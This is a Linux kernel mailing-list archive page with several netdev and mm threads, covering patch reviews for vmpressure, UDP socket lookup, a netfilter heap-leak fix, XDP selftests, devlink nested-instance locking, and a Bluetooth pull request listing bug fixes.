* Re: [PATCH] mm/vmpressure: skip socket pressure for costly order reclaim
From: Johannes Weiner @ 2026-04-01 21:10 UTC (permalink / raw)
To: JP Kobryn (Meta)
Cc: linux-mm, akpm, david, ljs, Liam.Howlett, vbabka, rppt, surenb,
mhocko, kasong, qi.zheng, shakeel.butt, baohua, axelrasmussen,
yuanchu, weixugc, riel, kuba, edumazet, netdev, linux-kernel,
kernel-team
In-Reply-To: <20260401203752.643259-1-jp.kobryn@linux.dev>
On Wed, Apr 01, 2026 at 01:37:52PM -0700, JP Kobryn (Meta) wrote:
> @@ -307,7 +308,7 @@ void vmpressure(gfp_t gfp, struct mem_cgroup *memcg, bool tree,
>
> level = vmpressure_calc_level(scanned, reclaimed);
>
> - if (level > VMPRESSURE_LOW) {
> + if (level > VMPRESSURE_LOW && order <= PAGE_ALLOC_COSTLY_ORDER) {
I think a comment would be in, ahem, order.
Once we go above COSTLY_ORDER, reclaim relies heavily on compaction to
make progress. Reclaim efficiency was never a great proxy for pressure
to begin with, but it's outright misleading with these high
orders. Don't throttle sockets because somebody is attempting
something crazy like an order-7 and predictably struggling.
^ permalink raw reply
* [GIT PULL] bluetooth 2026-04-01
From: Luiz Augusto von Dentz @ 2026-04-01 20:58 UTC (permalink / raw)
To: davem, kuba; +Cc: linux-bluetooth, netdev
The following changes since commit 48b3cd69265f346f64b93064723492da46206e9b:
net: stmmac: skip VLAN restore when VLAN hash ops are missing (2026-03-31 19:45:26 -0700)
are available in the Git repository at:
git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-04-01
for you to fetch changes up to bc39a094730ce062fa034a529c93147c096cb488:
Bluetooth: hci_sync: fix stack buffer overflow in hci_le_big_create_sync (2026-04-01 16:48:28 -0400)
----------------------------------------------------------------
bluetooth pull request for net:
- hci_sync: Fix UAF in le_read_features_complete
- hci_sync: call destroy in hci_cmd_sync_run if immediate
- hci_sync: hci_cmd_sync_queue_once() return -EEXIST if exists
- hci_sync: fix leaks when hci_cmd_sync_queue_once fails
- hci_sync: fix stack buffer overflow in hci_le_big_create_sync
- hci_conn: fix potential UAF in set_cig_params_sync
- hci_event: fix potential UAF in hci_le_remote_conn_param_req_evt
- hci_event: move wake reason storage into validated event handlers
- SMP: force responder MITM requirements before building the pairing response
- SMP: derive legacy responder STK authentication from MITM state
- MGMT: validate LTK enc_size on load
- MGMT: validate mesh send advertising payload length
- SCO: fix race conditions in sco_sock_connect()
- hci_h4: Fix race during initialization
----------------------------------------------------------------
Cen Zhang (1):
Bluetooth: SCO: fix race conditions in sco_sock_connect()
Jonathan Rissanen (1):
Bluetooth: hci_h4: Fix race during initialization
Keenan Dong (2):
Bluetooth: MGMT: validate LTK enc_size on load
Bluetooth: MGMT: validate mesh send advertising payload length
Luiz Augusto von Dentz (1):
Bluetooth: hci_sync: Fix UAF in le_read_features_complete
Oleh Konko (3):
Bluetooth: hci_event: move wake reason storage into validated event handlers
Bluetooth: SMP: force responder MITM requirements before building the pairing response
Bluetooth: SMP: derive legacy responder STK authentication from MITM state
Pauli Virtanen (5):
Bluetooth: hci_sync: call destroy in hci_cmd_sync_run if immediate
Bluetooth: hci_sync: hci_cmd_sync_queue_once() return -EEXIST if exists
Bluetooth: hci_sync: fix leaks when hci_cmd_sync_queue_once fails
Bluetooth: hci_conn: fix potential UAF in set_cig_params_sync
Bluetooth: hci_event: fix potential UAF in hci_le_remote_conn_param_req_evt
hkbinbin (1):
Bluetooth: hci_sync: fix stack buffer overflow in hci_le_big_create_sync
drivers/bluetooth/hci_h4.c | 3 --
net/bluetooth/hci_conn.c | 8 ++-
net/bluetooth/hci_event.c | 127 ++++++++++++++++++++-------------------------
net/bluetooth/hci_sync.c | 88 +++++++++++++++++++++----------
net/bluetooth/mgmt.c | 17 ++++--
net/bluetooth/sco.c | 26 ++++++++--
net/bluetooth/smp.c | 11 ++--
7 files changed, 165 insertions(+), 115 deletions(-)
^ permalink raw reply
* Re: [PATCH net-next v3 1/4] udp: Only compare daddr/dport when sk_state == TCP_ESTABLISHED
From: Jordan Rife @ 2026-04-01 20:50 UTC (permalink / raw)
To: Kuniyuki Iwashima
Cc: netdev, bpf, Willem de Bruijn, Eric Dumazet, Daniel Borkmann,
Martin KaFai Lau, Stanislav Fomichev, Andrii Nakryiko,
Yusuke Suzuki, Jakub Kicinski
In-Reply-To: <CAAVpQUDk1ywgsuCtreVCV4yVJRm_mcjsnC-+LuUwLRLHWavtZA@mail.gmail.com>
On Mon, Mar 30, 2026 at 06:21:39PM -0700, Kuniyuki Iwashima wrote:
> On Mon, Mar 30, 2026 at 2:57 PM Jordan Rife <jrife@google.com> wrote:
> >
> > Adjust lookups and scoring to keep their results equivalent to before
> > even if inet_daddr+inet_dport are left intact after disconnecting a
> > socket (sk_state == TCP_CLOSE). sk_state == TCP_ESTABLISHED implies that
> > *daddr is non-zero, so remove redundant checks for that at the same
> > time. Note that __udp6_lib_demux_lookup already checks if sk_state ==
> > TCP_ESTABLISHED, so no change was needed there [1].
> >
> > I could find no discernible difference in performance in
> > udp4_lib_lookup2 before and after the change in compute_score.
>
> What workload did you test the series with ?
These measurements were taken on the server side while running a netperf
UDP_STREAM test over a 100 Gbps link.
> I think we want to see results under DDoS.
Intuitively, it seems like the performance should be similar.
sk_state resides in the same cache line as inet_daddr, inet_dport, and
sk_v6_daddr, and we trade a comparison with inet_daddr/sk_v6_daddr for
one with sk_state. Of course, code-level intuition can be wrong, so I'm
happy to do some more extensive testing if you feel it's warranted to
make sure that performance isn't regressing.
> >
> > (AMD Ryzen 9 9900X)
> >
> > kprobe:udp4_lib_lookup2 {
> > @start[cpu] = nsecs;
> > }
> > kretprobe:udp4_lib_lookup2 {
> > @lookup[cpu] = hist(nsecs - @start[cpu], 2);
> > }
> >
> > BEFORE
> > ======
> > @lookup[11]:
> > [80, 96) 1387077 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
> > [96, 112) 364973 |@@@@@@@@@@@@@ |
> > [112, 128) 34261 |@ |
> > [128, 160) 7246 | |
> > [160, 192) 215 | |
> > [192, 224) 126 | |
> >
> > AFTER
> > =====
> > @lookup[11]:
> > [80, 96) 1408594 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
> > [96, 112) 340568 |@@@@@@@@@@@@ |
> > [112, 128) 30753 |@ |
> > [128, 160) 8019 | |
> > [160, 192) 231 | |
> > [192, 224) 157 | |
> >
> > [1]: https://lore.kernel.org/netdev/20170623222537.130493-1-tracywwnj@gmail.com/
> >
> > Signed-off-by: Jordan Rife <jrife@google.com>
> > ---
> > net/ipv4/udp.c | 20 +++++++++++---------
> > net/ipv6/udp.c | 18 +++++++++---------
> > 2 files changed, 20 insertions(+), 18 deletions(-)
> >
> > diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
> > index b60fad393e18..d91c587c3657 100644
> > --- a/net/ipv4/udp.c
> > +++ b/net/ipv4/udp.c
> > @@ -385,16 +385,16 @@ static int compute_score(struct sock *sk, const struct net *net,
> > score = (sk->sk_family == PF_INET) ? 2 : 1;
> >
> > inet = inet_sk(sk);
> > - if (inet->inet_daddr) {
> > + if (sk->sk_state == TCP_ESTABLISHED) {
> > if (inet->inet_daddr != saddr)
> > return -1;
> > score += 4;
> > - }
> >
> > - if (inet->inet_dport) {
> > - if (inet->inet_dport != sport)
> > - return -1;
> > - score += 4;
> > + if (inet->inet_dport) {
> > + if (inet->inet_dport != sport)
> > + return -1;
> > + score += 4;
> > + }
> > }
> >
> > dev_match = udp_sk_bound_dev_eq(net, sk->sk_bound_dev_if,
> > @@ -796,8 +796,9 @@ static inline bool __udp_is_mcast_sock(struct net *net, const struct sock *sk,
> >
> > if (!net_eq(sock_net(sk), net) ||
> > udp_sk(sk)->udp_port_hash != hnum ||
> > - (inet->inet_daddr && inet->inet_daddr != rmt_addr) ||
> > - (inet->inet_dport != rmt_port && inet->inet_dport) ||
> > + (sk->sk_state == TCP_ESTABLISHED &&
> > + (inet->inet_daddr != rmt_addr ||
> > + (inet->inet_dport != rmt_port && inet->inet_dport))) ||
> > (inet->inet_rcv_saddr && inet->inet_rcv_saddr != loc_addr) ||
> > ipv6_only_sock(sk) ||
> > !udp_sk_bound_dev_eq(net, sk->sk_bound_dev_if, dif, sdif))
> > @@ -2854,7 +2855,8 @@ static struct sock *__udp4_lib_demux_lookup(struct net *net,
> > ports = INET_COMBINED_PORTS(rmt_port, hnum);
> >
> > udp_portaddr_for_each_entry_rcu(sk, &hslot2->head) {
> > - if (inet_match(net, sk, acookie, ports, dif, sdif))
> > + if (sk->sk_state == TCP_ESTABLISHED &&
> > + inet_match(net, sk, acookie, ports, dif, sdif))
> > return sk;
> > /* Only check first socket in chain */
> > break;
> > diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c
> > index 010b909275dd..b93a9a3e7678 100644
> > --- a/net/ipv6/udp.c
> > +++ b/net/ipv6/udp.c
> > @@ -147,16 +147,16 @@ static int compute_score(struct sock *sk, const struct net *net,
> > score = 0;
> > inet = inet_sk(sk);
> >
> > - if (inet->inet_dport) {
> > + if (sk->sk_state == TCP_ESTABLISHED) {
> > if (inet->inet_dport != sport)
> > return -1;
> > score++;
> > - }
> >
> > - if (!ipv6_addr_any(&sk->sk_v6_daddr)) {
> > - if (!ipv6_addr_equal(&sk->sk_v6_daddr, saddr))
> > - return -1;
> > - score++;
> > + if (!ipv6_addr_any(&sk->sk_v6_daddr)) {
>
> This looks unnecessary.
Yep, thanks. This is inverted. It should have been similar to the ipv4
logic where the unnecessary `if (inet->inet_daddr)` check was removed
after adding if `(sk->sk_state == TCP_ESTABLISHED)`:
if (sk->sk_state == TCP_ESTABLISHED) {
if (inet->inet_dport) {
if (inet->inet_dport != sport)
return -1;
score++;
}
if (!ipv6_addr_equal(&sk->sk_v6_addr, saddr))
return -1;
score++;
}
>
> > + if (!ipv6_addr_equal(&sk->sk_v6_daddr, saddr))
> > + return -1;
> > + score++;
> > + }
> > }
> >
> > bound_dev_if = READ_ONCE(sk->sk_bound_dev_if);
> > @@ -949,9 +949,9 @@ static bool __udp_v6_is_mcast_sock(struct net *net, const struct sock *sk,
> >
> > if (udp_sk(sk)->udp_port_hash != hnum ||
> > sk->sk_family != PF_INET6 ||
> > - (inet->inet_dport && inet->inet_dport != rmt_port) ||
> > - (!ipv6_addr_any(&sk->sk_v6_daddr) &&
> > - !ipv6_addr_equal(&sk->sk_v6_daddr, rmt_addr)) ||
> > + (sk->sk_state == TCP_ESTABLISHED &&
> > + ((inet->inet_dport && inet->inet_dport != rmt_port) ||
> > + !ipv6_addr_equal(&sk->sk_v6_daddr, rmt_addr))) ||
> > !udp_sk_bound_dev_eq(net, READ_ONCE(sk->sk_bound_dev_if), dif, sdif) ||
> > (!ipv6_addr_any(&sk->sk_v6_rcv_saddr) &&
> > !ipv6_addr_equal(&sk->sk_v6_rcv_saddr, loc_addr)))
> > --
> > 2.53.0.1118.gaef5881109-goog
> >
Thanks,
Jordan
^ permalink raw reply
* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
From: Xiang Mei @ 2026-04-01 20:40 UTC (permalink / raw)
To: Florian Westphal
Cc: netfilter-devel, pablo, phil, davem, eric, coreteam, netdev,
bestswngs
In-Reply-To: <ac2Ce-hHidTY8Z6V@strlen.de>
Thanks for the suggestion. I'll send a v2 with nfnl_msg_put.
On Wed, Apr 1, 2026 at 1:39 PM Florian Westphal <fw@strlen.de> wrote:
>
> Xiang Mei <xmei5@asu.edu> wrote:
> > When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> > appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> > nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> > helper only zeroes alignment padding after the payload, not the payload
> > itself, so four bytes of stale kernel heap data are leaked to userspace
> > in the NLMSG_DONE message body.
> >
> > Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> > __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> > messages, to prevent leaking kernel heap data to userspace.
> >
> > Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> > ---
> > net/netfilter/nfnetlink_log.c | 5 +++++
> > 1 file changed, 5 insertions(+)
> >
> > diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> > index fcbe54940b2e..ad4eaf27590e 100644
> > --- a/net/netfilter/nfnetlink_log.c
> > +++ b/net/netfilter/nfnetlink_log.c
> > @@ -361,6 +361,7 @@ static void
> > __nfulnl_send(struct nfulnl_instance *inst)
> > {
> > if (inst->qlen > 1) {
> > + struct nfgenmsg *nfmsg;
> > struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
> > NLMSG_DONE,
> > sizeof(struct nfgenmsg),
>
> Would you mind sending a v2 that replaces nlmsg_put with nfnl_msg_put() ?
>
> We already use this helper in __build_packet_message() and it takes
> care of initialising the nfgenmsg.
^ permalink raw reply
* Re: [PATCH net] netfilter: nfnetlink_log: initialize nfgenmsg in NLMSG_DONE terminator
From: Florian Westphal @ 2026-04-01 20:39 UTC (permalink / raw)
To: Xiang Mei
Cc: netfilter-devel, pablo, phil, davem, eric, coreteam, netdev,
bestswngs
In-Reply-To: <20260401195735.564488-1-xmei5@asu.edu>
Xiang Mei <xmei5@asu.edu> wrote:
> When batching multiple NFLOG messages (inst->qlen > 1), __nfulnl_send()
> appends an NLMSG_DONE terminator with sizeof(struct nfgenmsg) payload via
> nlmsg_put(), but never initializes the nfgenmsg bytes. The nlmsg_put()
> helper only zeroes alignment padding after the payload, not the payload
> itself, so four bytes of stale kernel heap data are leaked to userspace
> in the NLMSG_DONE message body.
>
> Initialize the nfgenmsg struct after nlmsg_put(), consistent with how
> __build_packet_message() populates nfgenmsg for regular NFULNL_MSG_PACKET
> messages, to prevent leaking kernel heap data to userspace.
>
> Fixes: 29c5d4afba51 ("[NETFILTER]: nfnetlink_log: fix sending of multipart messages")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/netfilter/nfnetlink_log.c | 5 +++++
> 1 file changed, 5 insertions(+)
>
> diff --git a/net/netfilter/nfnetlink_log.c b/net/netfilter/nfnetlink_log.c
> index fcbe54940b2e..ad4eaf27590e 100644
> --- a/net/netfilter/nfnetlink_log.c
> +++ b/net/netfilter/nfnetlink_log.c
> @@ -361,6 +361,7 @@ static void
> __nfulnl_send(struct nfulnl_instance *inst)
> {
> if (inst->qlen > 1) {
> + struct nfgenmsg *nfmsg;
> struct nlmsghdr *nlh = nlmsg_put(inst->skb, 0, 0,
> NLMSG_DONE,
> sizeof(struct nfgenmsg),
Would you mind sending a v2 that replaces nlmsg_put with nfnl_msg_put() ?
We already use this helper in __build_packet_message() and it takes
care of initialising the nfgenmsg.
^ permalink raw reply
* [PATCH] mm/vmpressure: skip socket pressure for costly order reclaim
From: JP Kobryn (Meta) @ 2026-04-01 20:37 UTC (permalink / raw)
To: linux-mm, akpm, david, ljs, Liam.Howlett, vbabka, rppt, surenb,
mhocko, kasong, qi.zheng, shakeel.butt, baohua, axelrasmussen,
yuanchu, weixugc, hannes, riel, kuba, edumazet
Cc: netdev, linux-kernel, kernel-team
When kswapd reclaims at high order due to fragmentation, vmpressure() can
report poor reclaim efficiency even though the system has plenty of free
memory. This is because kswapd scans many pages but finds little to reclaim
- the pages are actively in use and don't need to be freed. The resulting
scan:reclaim ratio triggers socket pressure, throttling TCP throughput
unnecessarily.
Net allocations do not exceed order 3 (PAGE_ALLOC_COSTLY_ORDER), so high
order reclaim difficulty should not trigger socket pressure. The kernel
already treats this order as the boundary where reclaim is no longer
expected to succeed and compaction may take over.
Make vmpressure() order-aware through an additional parameter sourced from
scan_control at existing call sites. Socket pressure is now only asserted
when order <= PAGE_ALLOC_COSTLY_ORDER.
Memcg reclaim is unaffected since try_to_free_mem_cgroup_pages() always
uses order 0, which passes the filter unconditionally. Similarly,
vmpressure_prio() now passes order 0 internally when calling vmpressure(),
ensuring critical pressure from low reclaim priority is not suppressed by
the order filter.
Signed-off-by: JP Kobryn (Meta) <jp.kobryn@linux.dev>
---
include/linux/vmpressure.h | 9 +++++----
mm/vmpressure.c | 7 ++++---
mm/vmscan.c | 8 ++++----
3 files changed, 13 insertions(+), 11 deletions(-)
diff --git a/include/linux/vmpressure.h b/include/linux/vmpressure.h
index 6a2f51ebbfd35..56544e8df2937 100644
--- a/include/linux/vmpressure.h
+++ b/include/linux/vmpressure.h
@@ -30,8 +30,8 @@ struct vmpressure {
struct mem_cgroup;
#ifdef CONFIG_MEMCG
-extern void vmpressure(gfp_t gfp, struct mem_cgroup *memcg, bool tree,
- unsigned long scanned, unsigned long reclaimed);
+extern void vmpressure(gfp_t gfp, int order, struct mem_cgroup *memcg,
+ bool tree, unsigned long scanned, unsigned long reclaimed);
extern void vmpressure_prio(gfp_t gfp, struct mem_cgroup *memcg, int prio);
extern void vmpressure_init(struct vmpressure *vmpr);
@@ -44,8 +44,9 @@ extern int vmpressure_register_event(struct mem_cgroup *memcg,
extern void vmpressure_unregister_event(struct mem_cgroup *memcg,
struct eventfd_ctx *eventfd);
#else
-static inline void vmpressure(gfp_t gfp, struct mem_cgroup *memcg, bool tree,
- unsigned long scanned, unsigned long reclaimed) {}
+static inline void vmpressure(gfp_t gfp, int order, struct mem_cgroup *memcg,
+ bool tree, unsigned long scanned,
+ unsigned long reclaimed) {}
static inline void vmpressure_prio(gfp_t gfp, struct mem_cgroup *memcg,
int prio) {}
#endif /* CONFIG_MEMCG */
diff --git a/mm/vmpressure.c b/mm/vmpressure.c
index 3fbb86996c4d2..7f86b9ec83b05 100644
--- a/mm/vmpressure.c
+++ b/mm/vmpressure.c
@@ -218,6 +218,7 @@ static void vmpressure_work_fn(struct work_struct *work)
/**
* vmpressure() - Account memory pressure through scanned/reclaimed ratio
* @gfp: reclaimer's gfp mask
+ * @order: allocation order being reclaimed for
* @memcg: cgroup memory controller handle
* @tree: legacy subtree mode
* @scanned: number of pages scanned
@@ -236,7 +237,7 @@ static void vmpressure_work_fn(struct work_struct *work)
*
* This function does not return any value.
*/
-void vmpressure(gfp_t gfp, struct mem_cgroup *memcg, bool tree,
+void vmpressure(gfp_t gfp, int order, struct mem_cgroup *memcg, bool tree,
unsigned long scanned, unsigned long reclaimed)
{
struct vmpressure *vmpr;
@@ -307,7 +308,7 @@ void vmpressure(gfp_t gfp, struct mem_cgroup *memcg, bool tree,
level = vmpressure_calc_level(scanned, reclaimed);
- if (level > VMPRESSURE_LOW) {
+ if (level > VMPRESSURE_LOW && order <= PAGE_ALLOC_COSTLY_ORDER) {
/*
* Let the socket buffer allocator know that
* we are having trouble reclaiming LRU pages.
@@ -348,7 +349,7 @@ void vmpressure_prio(gfp_t gfp, struct mem_cgroup *memcg, int prio)
* to the vmpressure() basically means that we signal 'critical'
* level.
*/
- vmpressure(gfp, memcg, true, vmpressure_win, 0);
+ vmpressure(gfp, 0, memcg, true, vmpressure_win, 0);
}
#define MAX_VMPRESSURE_ARGS_LEN (strlen("critical") + strlen("hierarchy") + 2)
diff --git a/mm/vmscan.c b/mm/vmscan.c
index 5a8c8fcccbfc9..1342323a0b41f 100644
--- a/mm/vmscan.c
+++ b/mm/vmscan.c
@@ -5071,8 +5071,8 @@ static int shrink_one(struct lruvec *lruvec, struct scan_control *sc)
shrink_slab(sc->gfp_mask, pgdat->node_id, memcg, sc->priority);
if (!sc->proactive)
- vmpressure(sc->gfp_mask, memcg, false, sc->nr_scanned - scanned,
- sc->nr_reclaimed - reclaimed);
+ vmpressure(sc->gfp_mask, sc->order, memcg, false,
+ sc->nr_scanned - scanned, sc->nr_reclaimed - reclaimed);
flush_reclaim_state(sc);
@@ -6175,7 +6175,7 @@ static void shrink_node_memcgs(pg_data_t *pgdat, struct scan_control *sc)
/* Record the group's reclaim efficiency */
if (!sc->proactive)
- vmpressure(sc->gfp_mask, memcg, false,
+ vmpressure(sc->gfp_mask, sc->order, memcg, false,
sc->nr_scanned - scanned,
sc->nr_reclaimed - reclaimed);
@@ -6220,7 +6220,7 @@ static void shrink_node(pg_data_t *pgdat, struct scan_control *sc)
/* Record the subtree's reclaim efficiency */
if (!sc->proactive)
- vmpressure(sc->gfp_mask, sc->target_mem_cgroup, true,
+ vmpressure(sc->gfp_mask, sc->order, sc->target_mem_cgroup, true,
sc->nr_scanned - nr_scanned, nr_node_reclaimed);
if (nr_node_reclaimed)
--
2.52.0
^ permalink raw reply related
* Re: [PATCH net-next] selftests/net: Add two xdp tests to xdp.py
From: Jakub Kicinski @ 2026-04-01 20:20 UTC (permalink / raw)
To: Leon Hwang
Cc: netdev, Andrew Lunn, David S . Miller, Eric Dumazet, Paolo Abeni,
Shuah Khan, Alexei Starovoitov, Daniel Borkmann,
Jesper Dangaard Brouer, John Fastabend, Stanislav Fomichev,
linux-kselftest, linux-kernel, bpf
In-Reply-To: <20260401052746.314667-1-leon.huangfu@shopee.com>
On Wed, 1 Apr 2026 13:27:46 +0800 Leon Hwang wrote:
> In "bpf: Disallow freplace on XDP with mismatched xdp_has_frags values" [1],
> these two XDP tests are suggested to add to xdp.py.
>
> 1. Verify the failure of attaching non-frag-capable prog to mtu=9k driver.
> 2. Verify the failure of updating frag-capable prog with non-frag-capable
> prog, when the frag-capable prog attaches to mtu=9k driver.
>
> They have been verified against Mellanox CX6 and Intel 82599ES NICs.
>
> With dropping other tests, here are the test logs.
>
> # ethtool -i eth0
> driver: mlx5_core
> version: 6.19.0-061900-generic
>
> # NETIF=eth0 python3 xdp.py
> TAP version 13
> 1..2
> ok 1 xdp.test_xdp_native_attach_sb_to_mb
> ok 2 xdp.test_xdp_native_update_mb_to_sb
> # Totals: pass:2 fail:0 xfail:0 xpass:0 skip:0 error:0
>
> # ethtool -i eth0
> driver: ixgbe
> version: 6.19.0-061900-generic
>
> # NETIF=eth0 python3 xdp.py
> TAP version 13
> 1..2
> ok 1 xdp.test_xdp_native_attach_sb_to_mb # SKIP RTNETLINK answers: Invalid argument
> ok 2 xdp.test_xdp_native_update_mb_to_sb # SKIP RTNETLINK answers: Invalid argument
> # Totals: pass:0 fail:0 xfail:0 xpass:0 skip:2 error:0
>
> Links:
> [1] https://lore.kernel.org/bpf/20260326124205.1a3bb825@kernel.org/
Thanks for working on it!
> diff --git a/tools/testing/selftests/drivers/net/xdp.py b/tools/testing/selftests/drivers/net/xdp.py
> index d86446569f89..fe34b491778b 100755
> --- a/tools/testing/selftests/drivers/net/xdp.py
> +++ b/tools/testing/selftests/drivers/net/xdp.py
> @@ -13,7 +13,7 @@ from enum import Enum
>
> from lib.py import ksft_run, ksft_exit, ksft_eq, ksft_ge, ksft_ne, ksft_pr
> from lib.py import KsftNamedVariant, ksft_variants
> -from lib.py import KsftFailEx, NetDrvEpEnv
> +from lib.py import KsftFailEx, KsftSkipEx, NetDrvEpEnv
> from lib.py import EthtoolFamily, NetdevFamily, NlError
> from lib.py import bkg, cmd, rand_port, wait_port_listen
> from lib.py import ip, defer
> @@ -693,6 +693,55 @@ def test_xdp_native_qstats(cfg, act):
> ksft_ge(after['tx-packets'], before['tx-packets'])
>
>
> +def _set_jumbo_mtu(cfg, mtu):
> + ip(f"link set dev {cfg.ifname} mtu {mtu}")
> + defer(ip, f"link set dev {cfg.ifname} mtu 1500")
cfg records the original MTU, you can copy this line from here:
https://elixir.bootlin.com/linux/v7.0-rc6/source/tools/testing/selftests/drivers/net/gro.py#L88
> +def _exec_cmd(cfg, obj, sec, ip_opts=""):
> + return cmd(f"ip {ip_opts} link set dev {cfg.ifname} xdpdrv obj {obj} sec {sec}", shell=True, fail=False)
We shouldn't need the shell=True where?
Also it's probably cleaner to pass fail as optional argument here
so that you can let this throw an exception in the cases we expect
to succeed instead of having to check in the caller explicitly
> +def test_xdp_native_attach_sb_to_mb(cfg):
> + obj = cfg.net_lib_dir / "xdp_dummy.bpf.o"
> + mtu = 9000
> +
> + _set_jumbo_mtu(cfg, mtu)
> +
> + probe = _exec_cmd(cfg, obj, "xdp.frags")
> + if probe.ret != 0:
> + output = probe.stderr.strip() or probe.stdout.strip()
> + raise KsftSkipEx(output or "device does not support multi-buffer XDP")
May be simpler and cleaner to print the whole command separately:
if probe.ret != 0:
ksft_pr(probe)
raise KsftSkipEx("device does not support multi-buffer XDP")
> + ip(f"link set dev {cfg.ifname} xdpdrv off")
> +
> + probe = _exec_cmd(cfg, obj, "xdp")
> + if probe.ret == 0:
> + ip(f"link set dev {cfg.ifname} xdpdrv off")
> + raise KsftFailEx(f"driver unexpectedly allows non-multi-buffer XDP at MTU {mtu}")
Hm, TBH I don't think this sb_to_mb case is adding any coverage.
Let's just add the test case below?
> +def test_xdp_native_update_mb_to_sb(cfg):
> + obj = cfg.net_lib_dir / "xdp_dummy.bpf.o"
> +
> + _set_jumbo_mtu(cfg, 9000)
> +
> + attach = _exec_cmd(cfg, obj, "xdp.frags")
> + if attach.ret != 0:
> + output = attach.stderr.strip() or attach.stdout.strip()
> + raise KsftSkipEx(output or "device does not support multi-buffer XDP")
> +
> + defer(ip, f"link set dev {cfg.ifname} xdpdrv off")
> +
> + update1 = _exec_cmd(cfg, obj, "xdp.frags", "-force")
> + if update1.ret != 0:
> + raise KsftFailEx("device fails to update multi-buffer XDP")
> +
> + update2 = _exec_cmd(cfg, obj, "xdp", "-force")
> + if update2.ret == 0:
> + raise KsftFailEx("device unexpectedly updates non-multi-buffer XDP")
--
pw-bot: cr
^ permalink raw reply
* Re: [PATCH net-next V9 02/14] devlink: Add helpers to lock nested-in instances
From: Jacob Keller @ 2026-04-01 20:18 UTC (permalink / raw)
To: Cosmin Ratiu, Tariq Toukan, kuba@kernel.org
Cc: allison.henderson@oracle.com, jiri@resnulli.us, Moshe Shemesh,
davem@davemloft.net, daniel.zahka@gmail.com,
donald.hunter@gmail.com, netdev@vger.kernel.org,
matttbe@kernel.org, pabeni@redhat.com, horms@kernel.org,
Parav Pandit, corbet@lwn.net, razor@blackwall.org, Dragos Tatulea,
linux-kernel@vger.kernel.org, willemb@google.com, Jiri Pirko,
Adithya Jayachandran, Dan Jurgens, leon@kernel.org,
kees@kernel.org, vadim.fedorenko@linux.dev, Saeed Mahameed,
shuah@kernel.org, andrew+netdev@lunn.ch, Mark Bloch,
Shahar Shitrit, Carolina Jubran, Nimrod Oren,
daniel@iogearbox.net, minhquangbui99@gmail.com, dw@davidwei.uk,
skhan@linuxfoundation.org, Petr Machata, edumazet@google.com,
antonio@openvpn.net, mst@redhat.com,
linux-kselftest@vger.kernel.org, linux-rdma@vger.kernel.org,
Shay Drori, sdf@fomichev.me, chuck.lever@oracle.com, Gal Pressman,
joe@dama.to, linux-doc@vger.kernel.org
In-Reply-To: <4fcbf36799b5bfd5c0b68b0127f4f67aef00fdde.camel@nvidia.com>
On 4/1/2026 3:22 AM, Cosmin Ratiu wrote:
> On Tue, 2026-03-31 at 16:55 -0700, Jacob Keller wrote:
>> On 3/31/2026 5:20 AM, Cosmin Ratiu wrote:
>>> On Mon, 2026-03-30 at 19:08 -0700, Jakub Kicinski wrote:
>>>> This is an AI-generated review of your patch. The human sending
>>>> this
>>>> email has considered the AI review valid, or at least plausible.
>>>> ---
>>>> devlink: Add helpers to lock nested-in instances
>>>>
>>>> Upcoming code will need to obtain a reference to locked nested-in
>>>> devlink instances. Add helpers to lock, obtain an already locked
>>>> reference and unlock/unref the nested-in instance.
>>>>
>>>>> diff --git a/net/devlink/core.c b/net/devlink/core.c
>>>>> index eeb6a71f5f56e..db11248df7120 100644
>>>>> --- a/net/devlink/core.c
>>>>> +++ b/net/devlink/core.c
>>>>
>>>> [ ... ]
>>>>
>>>>> +/* Returns the nested in devlink object and validates its lock
>>>>> is
>>>>> held. */
>>>>> +struct devlink *devlink_nested_in_get_locked(struct
>>>>> devlink_rel
>>>>> *rel)
>>>>> +{
>>>>> + struct devlink *devlink;
>>>>> + unsigned long index;
>>>>> +
>>>>> + if (!rel)
>>>>> + return NULL;
>>>>> + index = rel->nested_in.devlink_index;
>>>>> + devlink = xa_find(&devlinks, &index, index,
>>>>> DEVLINK_REGISTERED);
>>>>> + if (devlink)
>>>>> + devl_assert_locked(devlink);
>>>>
>>>> Can this dereference a freed pointer if the lock is not actually
>>>> held?
>>>>
>>>> xa_find() acquires and releases the RCU read lock internally.
>>>> When it
>>>> returns,
>>>> the devlink pointer is no longer protected by RCU or a reference
>>>> count.
>>>>
>>>> If a caller invokes this helper without holding the devlink lock
>>>> (which is the
>>>> exact scenario the assertion is designed to detect), another
>>>> thread
>>>> could
>>>> concurrently unregister and free the devlink.
>>>>
>>>> If the RCU grace period expires before the assertion executes,
>>>> devl_assert_locked() would dereference freed memory. Should the
>>>> lookup and
>>>> assertion be enclosed within an explicit rcu_read_lock() block to
>>>> safely
>>>> assert the lock?
>>>
>>> This function is meant to be invoked by callers already holding all
>>> locks from a given instance up the nesting tree. Calling it outside
>>> this context could indeed lead to a race as described, where
>>> another
>>> entity unregisters a devlink about-to-be-asserted on.
>>>
>>
>> Hmm. I'm struggling to follow this. If you already expect the parent
>> to
>> hold the nested devlink's lock, it must have a pointer to this
>> devlink
>> instance. In that case, why would you even need
>> devlink_nested_in_get_locked in the first place?
>
> After some more intense staring, I realized that intermediate instances
> don't actually need to be locked, only the ancestor needs to. With that
> in mind, the code get simplified:
> - devlink_nested_in_get_locked and devlink_nested_in_put_unlock can be
> removed.
